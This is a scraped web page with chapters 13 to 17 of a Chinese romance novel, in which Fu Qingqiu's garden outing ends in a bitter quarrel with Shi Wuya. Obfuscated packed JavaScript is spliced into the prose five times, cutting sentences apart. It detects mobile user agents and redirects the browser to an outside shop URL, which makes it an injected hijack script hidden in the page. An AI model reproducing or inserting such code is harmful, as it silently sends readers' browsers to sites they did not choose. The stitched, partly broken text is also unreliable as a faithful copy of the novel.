l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14191535|150753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 邀她一道,只好去了一边。 席间多是年轻娘子,皆是金尊玉贵的小姐,其间几个与付清岁交好的姑娘直直盯着付远衡。 付清秋垂首找寻着师无涯的身影,只见他一个人坐在不起眼的角落,他身边无一人陪他说话,就连付高越也不在。 夏日绵长,用过饭后尹惜撤席,邀贵女才子作诗,仍是保持着方才的座位,盛婼正对面坐着付高越,来回瞪了他好几眼,付高越目光游弋。 付清秋不爱作诗,亦不喜诗词,付清岁和盛婵铺了纸笔,在几案上写着什么,盛婼见盛婵如此,命红菱取了纸笔来。 盛婼只是不爱作诗,并非毫无才学,如今见盛婵假模假样,她自然忍不下这口气。 付高越才落榜,不愿提笔,便到处走走,走着走着便绕到了付清秋身边,偷瞄盛婼的诗。 贺清和尹惜分头看郎君和姑娘的诗,付清秋低眉垂首,余光飘飘然,她原以为师无涯也会提笔作诗,却不想他只是坐在那儿一动不动,好似一桩木头。 在付清秋眼中师无涯很少如此落魄,纵使师家败落,她也不曾见过师无涯折了傲骨。 尹惜与贺清同请来的姑娘郎君们谈诗论词,贺清选了付远衡写的词,尹惜则自己作了一首词,辞藻精妙,浑然天成其中典故切得精准。 席上无不钦佩尹惜的才学,贺清当年是状元,他的妻子毫不逊色。 这会人人都回味着尹惜的词,贺清见此不肯落后,提笔写下一首小令。 付清秋不甚在意,师无涯却在众人的惊叹中抬眸,只一眼便对上付清秋慌张错乱的眼眸,他们已有一月多未说话。 席间正热闹,皆听尹惜和贺清为一首词争辩。 青园景致新奇,花红柳绿,曲折回廊,诺大的园子造景极致,正逢午后懒散,尹惜邀众人前往湖心亭赏花。 付清秋缓缓起身,却见盛婼和付高越走远,而盛婵又跟着付清岁,正当她想去寻尹惜时,又见贺清在。 不过,她是这个处境,那师无涯只会比她更糟糕。 付清秋望向师无涯,果不其然,他只身一人往湖心亭去,除二人身边空落落的外,别的郎君和姑娘皆结伴而行。 师无涯在汴京的七年,是否都是这样度过,他有至交好友吗。 仿佛没有。 不知为何,付清秋心底泛起一阵波澜,酸酸痒痒,即觉得她自己委屈,又无法见师无涯一个人。 她想,像师无涯这样的性子,不对任何人低头,在汴京又无家世,恐怕只会过得很艰难。 思及此,付清秋快步追了上去,小心地走在他身边,这样他俩看着也像有个伴儿,纵使她有些心疼师无涯,却不愿之前的委屈就这样算了。 师无涯幽幽垂眸看着身旁多出来的影子,不必去想也知是谁。 先前他和付清秋大吵一架,知她是个性子拧的,况且他说的话又太过伤人,师无涯放慢步调,思索着如何向她开口。 14. 第14章 清风悠扬绵长,吹动衣诀,付清秋只静静地走在他身边一句话未说。 师无涯长睫微颤,眸光松动,他轻声开口:“席上你吃饱了吗?” 他的声音极轻,仿佛一吹就散的齑粉,但付清秋听得很清楚,心又慢慢升起一丝雀跃,她抿着唇淡声道。 “没有。” 话落,两人静了半晌,师无涯习惯付清秋主动与他说话,如今她不言语,他竟也不知该说些什么。 付清秋侧目打量他,她总想与师无涯多说些话,毕竟能和他这样走在一起的机会并不多。 青园景色宜人,又逢初夏好时节,柳叶枝桠横斜,清风携花香而来。 两人并肩走在鹅卵石小径上,师无涯一言不发,付清秋不愿错过这样的良辰美景,深深吸了几口气,平复了前些日子蓄起的怒气。 “无涯哥哥,那日我很冲动,说了很多气话,虽然也有些真话,但我只是因为太喜欢你了。”付清秋紧着手中帕子,此话一出她心中郁起的结咻然散了。 付清秋总想把话说得清楚些,恨不得把自己的心剖开捧到师无涯面前,可那样她会死,她不能那样做。 师无涯看向她,付清秋没抬头,只低低地垂着头,乌黑卷翘的睫毛还在颤抖,她似乎是被吓得不轻,恍若一只惊弓之鸟。 他看了许久,未着一言。 付清秋心慌不已,又道:“无涯哥哥,先前你说的话也很伤人,我很难过。” 她倏地抬眸,师无涯眸光荡起波澜,望着她的眼睛久久未能回神,付清秋杏眼含泪,楚楚可怜,师无涯眸光流转看向别处。 “嗯,我也有不对。” 师无涯转过身继续往前去,付清秋眉眼舒展开来,会心一笑,跟在他身后。 “无涯哥哥,你知道我的,这么多年我都跟着你过来了。”付清秋问,“无涯哥哥,你有没有一点喜欢我,一点点。” “你的话真多。”师无涯沉声道。 付清秋蹙眉,不敢再说这话,毕竟她才和师无涯和好,何况他也道歉了。 她乖乖跟在师无涯身后,低头踩着师无涯的影子,她忘了曾在哪儿看过,只要踩住影子就能抓住一个人的心。 但哪本书上会这么写,估计是那本画本子。 师无涯和付清秋一道进了花园,尹惜和贺清并不在园中,只余贵女们赏花游玩,付清秋见花开得不俗,便问师无涯能否和她一道赏花。 “随你。”师无涯随口一应。 付清秋见他答应,便领着师无涯从花园里的第一株花开始看起,即使再小的花儿付清秋好奇地看上许久,师无涯懒散地跟着,也顺着她目光看去。 不过是一两株杂花,不知有什么好看的,师无涯站在她身后一步一步紧跟着。 付清秋惊叹道:“异色花并不常见啊,尹姐姐的花园里竟然又这么多。” 师无涯挑眉看去,果真长有几株粉白相间的芍药,付清秋问:“无涯哥哥,你以前见过吗?” “见过。”师无涯淡淡道。 幼时他跟父亲游玩时,曾在山坡上见过几株,并不稀奇。 付清秋稍显失落,他本想和师无涯分享,却不想他见过。 “这一条快看完了欸,我后院里的好些花都不如尹姐姐花园里的花,改日得向尹姐姐请教。”付清秋自言自语地说着。 她抬眼望向前面清溪边围着群姑娘,盛婼也在其中,付清秋朝师无涯道:“我们也去看看罢,说不定是什么有趣的事儿呢。” 付清秋正欲要去拉他的手,师无涯拧眉躲开,目光凌厉地看向她。 “别碰我。”师无涯冷声道,“付二姑娘这不是在付家。” 付清秋羞赧垂头,低声道:“对不起。” “走罢。”师无涯漫步往清溪边去。 付清秋慢慢跟着他,还未等她走近清溪,就在围在清溪边的姑娘们齐齐散开。 盛婼一个大跳闪到一边,朝盛婵喊道:“你故意的?污了我的裙子。” 盛婵不理她,白了她一眼,一面挽着付清岁的手,一面用手上的柳条去逗狸奴,付清岁强撑着不愿靠近,可盛婵拽她死死地,挣脱不开。 付清秋与师无涯到时,盛婼正死死盯着盛婵,见付清秋来了,盛婼道:“你不是最爱狸奴了吗。” “我阿娘不喜欢。”付清秋面露无奈。 师无涯望着那只雪白蓝瞳的狮子猫,雪白的一团窝在溪边添水。 那狸奴在日光下雪白可爱,一双宝蓝色眼睛如同澄澈的湖水。 付清秋手上直痒痒,想把那狸奴抱在怀里揉来揉去,反正付清岁也在,付清秋便折了枝柳条,往溪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14191536|150753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边去。 原先散开的姑娘们跟着付清秋又围了上去,盛婵娇俏一笑,将那柳条沾水轻轻洒在它身上,“瞧瞧这小家伙。” 世家贵女相视一笑,见那狸奴憨笨一动不动地添水,付清岁实在怕猫,她道:“盛二姑娘,我身子不适,且放我去喝口茶。” 盛婵看她眉眼惊惧便知是何缘由,恰此时,付清秋拿着柳条走来,那狸奴“喵”的一声转头,毫无征兆地乱扑,围着的人着急忙慌地散开。 付清秋还未反应过来,只见那狸奴盯着她手上的柳条要扑过来,付清岁正巧从她身边错身而过。 盛婼急道:“付二!快闪开!” 声未动,身先行,师无涯飞快地闪到两人中间伸手将付清岁拉过,她轻盈地落进师无涯的怀里。 而那狸奴顺势扑到付清秋身上,付清秋失重跌进溪水里。 霎时间衣裙被污湿,手上的柳条刺破了她的掌心,眼前师无涯却抱着付清岁不松手。 狸奴逃窜起来,绿柳赶忙去扶,方才闪开的世家贵女捂着绣帕轻笑,视线齐齐落在她身上。 盛婵将柳条扔进清溪,故作惊异,“付二姑娘没事罢,衣裳都湿透了呢。” 付清岁慌忙从师无涯地怀中挣开去扶她,付清秋仍在发愣,频频闪过方才的事,电光火石间,师无涯抱住了付清岁,那几乎是本能的反应。 “清秋,快起来。”付清岁担忧地伸手。 园中女使见如此大的动静早去请了尹惜,尹惜快步赶来,只见付清秋六神无主地坐在水里,“灵霜呢?不是叫她看好雪团的吗?” 尹惜让冬月带付清秋去换衣裳,顺道让今日进院子的姑娘们不要声张,青园雅集本就是她请的些故交好友,来的人并不多,就是有人说了出去,她心里也有数。 师无涯看着付清秋被冬月带着离开,仲夏时节并不冷,他却能看见付清秋颤抖的薄唇,久久不能回神。 尹惜取了件旧时及笄穿的衣裳,付清秋年岁尚小,与她相比还矮上一截,绿柳替她换好衣裳,尹惜命冬月去熬些清粥来,绿柳也被尹惜支开。 付清秋此刻神思不定,眸光飘忽,手里紧紧攥着帕子,尹惜起身走至她身边,重重拍了拍她的肩。 一时受疼,付清秋恍然仰头看向尹惜,又迅速垂眸,小声喊了句,“尹姐姐”。 15. 第15章 尹惜眉尾一挑,唇畔带笑,“还没傻。” 付清秋低头不语,尹惜不急着她开口说话,转到窗边支开窗,使风吹了进来。 “尹姐姐,是不是很看不起我。”付清秋蜷成一团缩在榻上,眼底蓄泪,倔强地忍着。 窗边书案上摆着从民间搜来的《金石录》,风拂开两页,书页旁有尹惜的批注,尹惜顺势坐到圈椅上,懒懒地翻看,贺清又偷看了她的书,尹惜气得牙疼。 付清秋问的话,尹惜自然听见了,但她思索片刻后,放下书卷。 “付二姑娘,你很在意我对你的看法吗?”尹惜食指轻敲桌面,若有所思地看着她。 且不说在湖心亭时,付清秋就已表露过倾羡之意,如今又问她是否瞧不上她,尹惜不明白付清秋在想些什么。 汴京城的人总爱将她捧得很高,吹捧她与贺清琴瑟和鸣,相敬如宾,世无其二。 哪就有那么好了呢? 尹惜忽地一笑,对付清秋轻声道:“倘若我没记错,付二姑娘如今才及笄,年纪轻,心底总是多有想不明白的,多读些书,认些字,才是正道理。” “不过,付二姑娘心里若是觉得‘女子无才便是德’的话,日后我定不会再宴请付家郎君姑娘,付家也是科举出身,不想竟养出这么个愚笨固执的女儿。” 尹惜字字珠玑,付清秋如何能听不进去,更何况尹惜话中的“愚笨”二字,和曾经师无涯说的话交织在了一起。 她无才无德,实在没什么拿得出手,难怪师无涯不喜欢她,难怪他要救付清岁。 “尹姐姐说得对,我就是固执愚笨,从来都是这样。”付清秋低声啜泣,“我如今这个样子尹姐姐也不喜欢罢。” “尹姐姐才貌双全,怎么会知道我的心事,我虽是家中最为疼爱的幺女,可我连想穿什么衣裳,想喜欢什么人都不能,我喜欢的人,不喜欢我,他本该是我的未婚夫。” 付清秋低声道来,将自己的委屈倾吐,从小至大,韦氏虽疼爱她,却不肯让她做主,所有人都恨不得为她铺一条阳关大道,只要她一步步地稳稳走过。 “原是这么个事,付二姑娘你到底是为情所困啊,是师无涯?”尹惜问。 窗外林风越过,枝桠横斜,影浪翻动,尹惜起身坐在窗沿上吹了吹风,背靠着窗框。 尹惜想了想,付清秋终究是个小姑娘,小她十岁,或许讲道理是行不通的,若不是看在老乡的面儿上,她真是一句话也不想付清秋说。 固执的人,最是头疼,一如她前世初嫁贺清的时候。 什么琴瑟和鸣,什么相敬如宾,全都是狗屁。 “是,尹姐姐怎么知道。”付清秋讶然,尹惜竟晓得她喜欢的是师无涯。 尹惜道:“你的目光始终落在他身上,这些都是次要的,我父亲曾与师伯父有过一面之缘,我见过他一次。” 喜欢一个人是藏不住的,更何况这个人还是付清秋。 “罢了,我且将那桩事告诉你,你三月在金明池一事我从未告诉任何人,你可知是谁将你从池子里捞起来的?”尹惜转过头盯着她。 付清秋摇头,眼角还挂着泪,直到这会她都未能从狸奴一事中缓过神来。 尹惜朝窗外看去,冬月正抱着狸奴走院外来,她扬声道:“冬月,雪团抱来给我。” 冬月道:“夫人,雪团还未洗呢,爪子都是乌黑的,按理夫人这会该安抚那些姑娘们,怎么躲在房里不出去了。” “你管呢,雪团抱来。”冬月撇撇嘴,见里头付清秋在哭,便自个儿走了。 雪团认主,猫在尹惜怀里踩奶,只是爪子是黑的,还未来得及洗,尹惜倒也不在意,逗了会雪团。 尹惜摸着雪团,道:“那日金明池我是见你跳河,也命人去捞了你,只是最后听小厮说,是另一个人先跳下河将你捞了起来,我倒觉着奇怪,到最后我也未瞧见是谁将你捞了起来。” “此事未声张,我亦不知是谁,只是说来有趣,你便随意听听。”尹惜捏着猫爪,摆弄给付清秋看,笑问,“漂亮么?” 付清秋还未细想是谁救了她,就被尹惜的后半句搅乱,她盯着雪团点了点头,虽说那猫毛和猫爪两个色,但仍抵不住雪团蓝瞳雪白,莫名的反差感。 尹惜眉梢一喜,见付清秋如此,笑道:“雪团是有些顽皮,但它懂什么,不过是秉性使然。” 雪团听罢,竟谄媚地蹭了蹭尹惜,惬意自然地眯上眼。 “我也喜欢狸奴,尹姐姐将它养的好,外面的山茶花也开得漂亮,尹姐姐定然用心了。”付清秋感叹,因韦氏不喜狸奴,她也不能聘养。 她屋里也不准栽种各色花卉,士大夫多好清雅,一个院子至多两种花。 尹惜眸光忽闪,唇边笑意荡漾,“付二姑娘家中可养了狸奴?异色山茶你若喜欢,叫人送你两株如何。” 付清秋再次摇头,尹惜只觉无趣,她踩了个空,原以为付清秋与她一样,却没曾想只是说说罢了。 “罢了,你且歇会罢,我去院外瞧瞧,若是有事便让冬月来寻我。”临出门前,尹惜仍欢喜地逗着雪团,回首见付清秋失神,心生不悦。 尹惜走后,绿柳进来陪她,不过多时,付清岁和冬盈一道来了。 付清岁眉头紧锁,道:“清秋好些了吗,有没有伤到哪儿,要不要再请大夫瞧瞧。” 付清秋不语,此时,盛婼同付高越一道而来,盛婼摸了摸她的头,掰开她的眼皮。 “付二,还活着,就是没事。”盛婼坐到她身边,嫌弃道,“你胆子也太小了,不过是跌了一跤,像被人夺了魂魄一样。” 付清秋苦笑一阵,紧接着又是付高越上上下下,左左右右地打量了她一番,才放下心来。 盛婼没和付清秋说几句话便被人催着离开,那小厮苦兮兮地跟着她,盛婼没法只得离开,何况天色渐晚,在青园待不了多久了。 付清秋抬头见好像少了什么人,“大哥哥呢?” 付高越道:“大哥哥与和贺大人谈了一下午的事,这会都还未出来。” 贺清差小厮来说要留付远衡用饭,尹惜本欲留付 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14191537|150753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家兄妹用饭,但因雪团又跑不见,只得作罢。 付清秋随付清岁一道回府,一路无话,至于师无涯则和付高越一起,付清岁总想和付清秋说些什么,几番开口都被付清秋挡了回去。 月色渐浓,灯影交错。 付清秋回府同韦氏说了会话,便回了院子,这一路付高越浑身不安,夜里便去问了问她。 “清秋,你是跌坏了脑子?”付高越不可置信地看着她。 他这个妹妹,最是藏不住,一向风风火火,他今日借着烛光看她却觉有些不对劲。 十分的不对劲。 付清秋垂眸,打了个哈欠,问付高越:“二哥哥是不是之前答应过帮我一个忙。” “是啊,你要作甚,偷鸡摸狗杀人放火的事儿你就别想了。”付高越狐疑道。 付清秋一时无语,定了定心神,静静道:“我想种几株山茶花,玉兰花我也喜欢,石榴也种几株罢,哪儿,哪儿都空着呢。” 付高越顺着她指的几个地方看去,确实空了好大一片。 “你怎得忽然要种花了?”付高越不解,“平日里一时兴起就罢了,这些花花草草都是活物,你可能养好?” 付清秋道:“我不仅要种花,我还要看书,去把你的书都给我搬来。” 付高越瞪大了眼睛,难以置信,不解其意,惊愣片刻后,大喊一声。 “清秋疯了,母亲,清秋疯了。” 付清秋没好气地踹了付高越一脚,溶溶月色下,付高越人影逃窜,似得了什么新鲜事窜出了院子。 绿柳也觉奇怪,只是她不好开口问。 夜里付清秋将书架下面的木匣子抽了出来,原先写过的印花笺全数叠好放平。 师无涯先前送她的及笄礼还未拆开,不知为何她对那份贺礼格外排斥。 兴许是因那东西本不是她想要的,因而它存在就始终成了错处。 付清秋收好木箱,又往里推了推,趁着月色清幽,付清秋熄了灯烛,静静地躺在床上,这回她没有在哭,而是不断地回想尹惜说的那些话。 这些天付清秋早已被师无涯搅得心力交瘁,在从贺宅回来前,付清秋一度以为自己会又闷在屋里哭。 但这次她没有,反而在想别的事。 尹惜的几句话让她辗转反侧,那些话从前没人对她说过,她也从不去深究。 此夜绵长,付清秋恍恍惚惚地睡过去,只是在睡前她也未想清楚尹惜的那些话,她只知道她不能再一心扑在师无涯的身上。 翌日,天光乍破,晨曦熹微透过轻巧的云层,落在青梅树上。 长廊下一道浅绿身影快步奔走,绿柳顺上气来,平复呼吸,轻叩房门:“姑娘快起,出事了。” 付清秋昨夜睡得沉,绿柳喊了好一阵。 “出什么事了?” 绿柳道:“昨日青园的事,夫人晓得了,要罚大姑娘去跪祠堂,这回师郎君再往夫人哪儿去,姑娘快起罢。” 听见“师无涯”三个字,付清秋愕然清醒,急急起身。 16. 第16章 绿柳向付清秋说清来龙去脉,在青园被雪团扑到本是件无足轻重的小事,只她和绿柳不说,也便过去了。 谁承想尹惜竟上门来赔礼道歉,待她一走,韦氏后脚就去找付清岁算账。 付清秋快步往正房去,绿柳和云露不敢懈怠,只要是与师无涯,付清岁有关的事,付清秋总是第一个着急的。 韦氏素日不喜付清岁,平日里付清岁做事规矩,识礼知趣,可这回她是实打实的落在了韦氏手里。 付清秋还至于这样讨厌她,从小至大的姐妹,她也不愿见付清岁白白受冤。 更何况这件事,她本就无错。 月洞门前立着一道身影,在外来回踱步,只消一眼,付清秋便知是谁。 “放心,此事与姐姐无关,我不会让她受委屈的。”付清秋与他擦身而过,淡声说着,转头进了正屋。 师无涯缓缓抬眸,眼看着付清秋的背影越来越远,他很少见她如此娴静少语,那语气中的凉薄很是明显。 付清秋是在怪他。 师无涯心下怅然,胸口腾起一股没由来的烦躁,乌黑卷翘的长睫虚掩着眸中黯淡的情绪,眼下红痣也显几分落寞。 此时,韦氏正在气头上,见付清秋来,不由得放缓了声。 “赶巧来这么早,不甚常见,是有耳报神传了话给你?”韦氏转眼扫视堂内女使,皆是屏气凝声,生怕被怀疑。 李妈妈不疾不徐地捧茶上前,她引付清秋坐下,付清岁此刻正跪在韦氏跟前,双眸莹润,紧紧咬着唇。 付清岁眼角噙着泪,深深凝了她一眼,付清秋并不在意付清岁如何看她,他在意的是守在门外的师无涯。 付清秋此刻有些恍惚,她明明不想再喜欢师无涯了,可却本能的为了他和付清岁来了。 “阿娘,大姐姐没有做错什么,不要罚大姐姐跪祠堂。”付清秋轻巧地走到韦氏身边,轻轻晃着她的臂弯,“大姐姐向来心细,是我贪玩去逗尹姐姐的狸奴,狸奴见人多才扑了我。” 付清秋杏眼盈盈,委屈巴巴地道:“阿娘,那么多姐姐都在,只不小心扑了我罢了,大姐姐本是护着我的,险些也摔了呢。” “大姐姐,快起来。”付清秋眼神示意云露,云露扶起付清岁,她掌心留着深红的板痕。 这也无法,平日里她起得晚,因付清岁这事,付清秋已赶早来了。 付清岁道:“母亲,本该罚我的,是我没看护好妹妹。” 韦氏本欲说她,付清秋搬来木凳,靠在韦氏臂弯里,轻声道:“阿娘,我还有好些事想同你说,让大姐姐回去罢。” “真的不怪大姐姐。” 韦氏低眉看着怀里的乖乖女儿,登时心软,朝付清岁摆摆手,“下去罢。” 李妈妈使眼色给冬盈,冬盈会意,搀着付清岁退出去,付清岁低眉抬眼去看付清秋,只在片刻,付清岁收回视线。 付清秋见韦氏松口,如释重负,“阿娘,不要不喜欢大姐姐了。” “她长你两岁,自然该看顾着你,好好的怎么说起这个来了?”韦氏蹙眉,疑道,“你越发的怪了。” 付清秋不欲再说下去,只绕过这话,韦氏问及青园雅集的事,付清秋淡淡揭过,这日午后韦氏留付清秋在正房里说话。 没说上几句,付清秋便借口困了要回屋,韦氏只好作罢,命人将新裁的衣裳,打的头面给她送去。 绿柳回院细细盘点,大抵与往年差不多,云露将首饰钗环一一置好,闲来无趣,云露将妆奁重新摆弄,院前摆满了付高越送来的花。 “云露,快来!”绿柳在窗外招手。 云露起身去看,瞧着各色花卉,眼前一亮,放下脂粉盒子往外去。 付清秋正伏在书案前看《诗经》,云露临出门前,看她如此没忍住笑,跑到绿柳身边悄声道:“姑娘的书是这样拿的。” 云露比划着那书的模样,最后直直地栽倒。 “这些是夫人送来的?”云露朝她身后看去,若要种到院子里倒是个不小的活。 绿柳摇头,无可奈何道:“是二郎君送来的。” 云露道:“二郎君送来的?姑娘何时要这些东西了?二郎君来过了,前些日子我病着,还不怎么见着二郎君。” “你想见他了?”绿柳打趣道,“想着姑娘也就罢了,怎么还惦记起郎君了?” “二郎君俊朗潇洒,为人有趣,又不拿着架子说话,谁瞧见了不喜欢。”云露含羞垂首,喃喃道,“惦记着的人才不止我一个呢。” 绿柳转身弄花,淡声道:“那也是主人家,想想就罢了,可别叫夫人知道了。” 云露道:“若是知道了,我就去求姑娘开恩。” 付清秋刚巧踏出门,便听云露说什么开恩,因问:“要我开什么恩?” 云露后背一凉,她不过心里想想,哪儿敢真叫付清秋晓得这些心思,她还没应,绿柳转过身回话。 “云露说浑话呢,姑娘可要用饭?”云露不动声色地退到绿柳身边,不再言语。 大户人家总有没眼力见的女使想爬主子的床,这本没什么,只是付家诗书礼仪之家,出了这样的事儿并不好听。 饶是真有其事,也不能叫外头晓得,偷偷纳了就是。 眼见着付清秋问,云露后怕,不敢看她。 付清秋摇头,漫步走至山茶花前,白山茶雪白无暇,好似冬日零落的雪花。 “去种下罢,回母亲说,二哥哥非要送我的。”付清秋回首看院里的青梅树,枝叶零落,只是这些年光景不好,逐渐萧条。 这棵青梅树,付清秋精心养护,比读书都用心,只是还是养不好。 去岁付远衡告诉她这棵青梅树长不久了。 付清秋不肯信,连夜去翻古籍,结果没能找到该怎么救活一棵树。 云露去正房回韦氏的话,绿柳则去料理送来的几株花。 付清秋无心看书,实在是食之无味,她看了这么久没发现有什么趣。 时近日暮,漫天霞光铺满天空,几缕晚风裹着花香,付清秋难得出院子一个人闲逛,她的院子地势最好,临近荷花池。 仲夏时节正是荷香满盈的好季节,池水赤金,粼粼波光。 付清秋闲散地往荷花亭去, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14191538|150753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风拂过荷瓣,忽听身后有人唤她,“付二姑娘。” 是师无涯。 付清秋怔怔地停下,身子不受使唤,一步走不动。 “有什么事儿嘛,无涯哥哥。”付清秋回头,静静地看着他,如同往常一样,她总想去看看师无涯眼底的情绪。 会不会对她有心疼。 只需一点破绽,她便可以既往不咎,只当什么都未发生过。 可师无涯的眼神是冷的,付清秋抿唇,悄然垂眸。 “你为什么要将青园的事说出去。”师无涯剑眉蹙起,目光若寒光,冰冷刺骨。 分明已至仲夏,这晚风吹过还是叫付清秋身心一寒。 付清秋淡声,道:“我没有说。” “不是你,还有谁会说?大哥二哥可没有你那些心思。”师无涯道,“你为何会出现的那么巧,就算没有你,我也为她作证。” 不待付清秋开口,师无涯又嘲道:“你故意让她受罚,对吗?为了你那点高贵的自尊心就可以让清岁受罚,是吗?” 师无涯质问厌恶的目光,如同潭水将付清秋卷了进去,沁在冷水的滋味并不好受。 付清秋抬眸直视他,声音微微颤着,“我说过了我没有,我从来没这么想过,无涯哥哥,你凭什么这么说我?” “我承认我羡慕姐姐,但我从没想过要姐姐怎么样,什么叫做我的那些心思,你凭什么这么说。”付清秋咬牙含泪,恨恨道,“就因为我喜欢你,所以我就该听你这么说吗?” 师无涯烦躁地别开眼,付清秋说的每一个字他都不想听。 付清秋忍着哽咽,甩手擦干泪,“是,我是自傲,我蠢,我是最蠢的,明明知道你不喜欢我,我还巴巴地往上凑。” 师无涯眉头紧蹙,盯着远处的荷花池,怒不可遏地开口,“够了。” “够了?” 付清秋气道:“不够,我偏要说清楚。” 师无涯转过头,冷眼看着她,他眼中有压抑不住的怒气,付清秋从未见过师无涯对她发怒,偶尔不过是不屑的嘲弄,却又因眉宇间的散漫,变成了风流调侃。 如今师无涯眼中,对她只有恨,付清秋心下悲凉,原来师无涯根本就没喜欢过她。 一点都没有。 付清秋气急推开师无涯,疾风骤起,泪珠落到师无涯手背,他忽地被推开,搅散了眼底的怒气,取而代之的是一阵心悸恍惚。 日暮浮云被吹散,月梢攀上枝头,松风动衣。 师无涯沉声问:“你究竟想说什么,何不一次说完,付二姑娘,你娇纵任性有谁来说你,不过是仗着父母得势,处处打压着她。” “你这么喜欢姐姐,你去娶她,你去求阿娘把她嫁给你,”付清秋语不成调,思绪紊乱,直言道,“你不过是在付家借住十二年,你以为我就愿意嫁给你吗,不过是为还你师家的恩。” “付清秋!” 师无涯下颚绷紧,双手紧攥成拳。 付清秋抬眸看他气红了脸,不由得生出几分愧意,师无涯倾身向她靠近,他的身影越来越近,无形的压迫感以及愧意交织在她心里。 17、第17章 池边荷叶在素月银辉下摇曳,静谧雅致,此刻气氛格外凝重,唯有潇潇风声。 付清秋想往后撤,身子不由使唤地站在了原地,看着师无涯一步步靠近她,付清秋惊疑道:“你要做什么!” “付二姑娘,心里一直都是这么想的,对吗?”师无涯极其凉薄地冷嘲一声,眼中闪过片刻怅惘,“所以,在你眼里,是我师无涯赖在了你们付家是吗?” 是他赖在付家吗,是他想来的吗。 当初是付彰带他回了付家,婚约也是付家先提的。 如今在付家人眼里,他就是这样仗着恩情不肯离开的无赖。 师无涯挑眉心头堵着一口气,往事往景逐一浮现,他冷哼一声,道:“付清秋,我从头至尾,从小到大都没喜欢过你,就算有婚约在,我也不会喜欢你,别自作多情了。” 他的声线凉薄,与凉风搅在一起,更添几分寒意,师无涯眉目之间的凌冽厌恶,格外明显。 月光凄凉,落在肩头格外清冷。 付清秋咬唇倔强地看他,清亮澄澈的双眸蓄满泪水,肖似秋水满盈。 “你以为我就有多喜欢你吗,是啊,不过是因为得不到罢了,你也别得寸进尺了。” 付清秋潸然泪下,那些直戳师无涯痛处的话,脱口而出:“师无涯,我不过是觉得你有趣罢了,我有什么得不到的,你就是什么稀世珍宝吗,看你可怜我才施舍你。” 师无涯父母兄弟早逝,无家可归,因而付清秋知道何处是师无涯最在意的,那些话并未本意,但在此刻化作一把锋利刀刃。 师无涯眼睫低垂,垂眸看她如此,只觉可笑。 看着付清秋对着他吐露心声,他竟觉陡然畅快,打从肺腑里舒出一口气。 付清秋薄唇紧抿,掩面哭泣,喉间抽噎不止,见师无涯仍如方才那般冷然,脑海一片混沌,全然忘记方才的话。 一字一句都散在风里,这刻没有理智可言,只余漫卷情绪。 十二年来,付清秋没曾说过重话,她也从不忌讳什么,并不觉得自己的话有什么不妥,更何况是师无涯先说了重话,她不过是还了回去。 师无涯额前碎发飘扬,垂眸出神地望着她,不知在想些什么,但付清秋明白,师无涯定然恨透了她。 早该这样的,该把一切都说清楚,何故要当误她十二年。 付清秋眸光渐沉,泪水模糊视线,不管不顾地捏着绣帕,哭出了声。 “付二姑娘,你的施舍我不稀罕,你是什么样的人能与我相配,小门小户出身,未免太高看自己了,付家人将你捧着当真以为自己是个宝贝?”师无涯讥讽,末了补上一句。 “无才无德,差之千里。” 风过无痕,松叶簌簌作响。 师无涯眉眼含霜,面色冷峻,不加掩饰地嘲弄她,如同在看什么无趣的玩意儿。 “是!我比不上姐姐,也不用你来刻意提醒我,我如何配不上你,配你绰绰有余!也不看看如今是什么处境,就是廊下的狸奴还知道往我怀里扑呢。”付清秋眼见他眸光寒凌,蓦然噎住了声。 师无涯唇畔含笑,那一抹嘲讽的笑意,太过明显。 付清秋一时哽咽,想再说些什么,再抬眸时,师无涯已然转身离去。 夜风萧条凄凉,那抹挺拔的墨色身影消失在眼前。 他一走,付清秋堪堪喘了口气,腿下一软跌坐在地上,只那一刹那,仿佛全身气力都被抽走,她抱膝大哭起来,怎么就和他闹到了这个地步。 溶溶月色,星子明亮,银光散落满地。 一团小小的绿影,似春日花苞蜷缩在荷花池边,池中倒映银勾,荷叶盈盈,涟漪阵阵。 绿柳见院子无人,心内着急,正要出门去寻,却见付清秋从青梅树下走来,身影单薄如秋叶,轻轻慢慢地往屋里走,绿柳快步迎上去。 见她双眼通红,便知是哭过了。 只是这回又是什么事,实在是无从知晓,绿柳暗暗猜测,许是和师郎君有关。 “姑娘,我来服侍你睡下,亥时一刻了,先前李妈妈打发人来,我说姑娘睡下了。”绿柳搭上她的手,一丝凉气窜上绿柳指尖,付清秋抬手挡开。 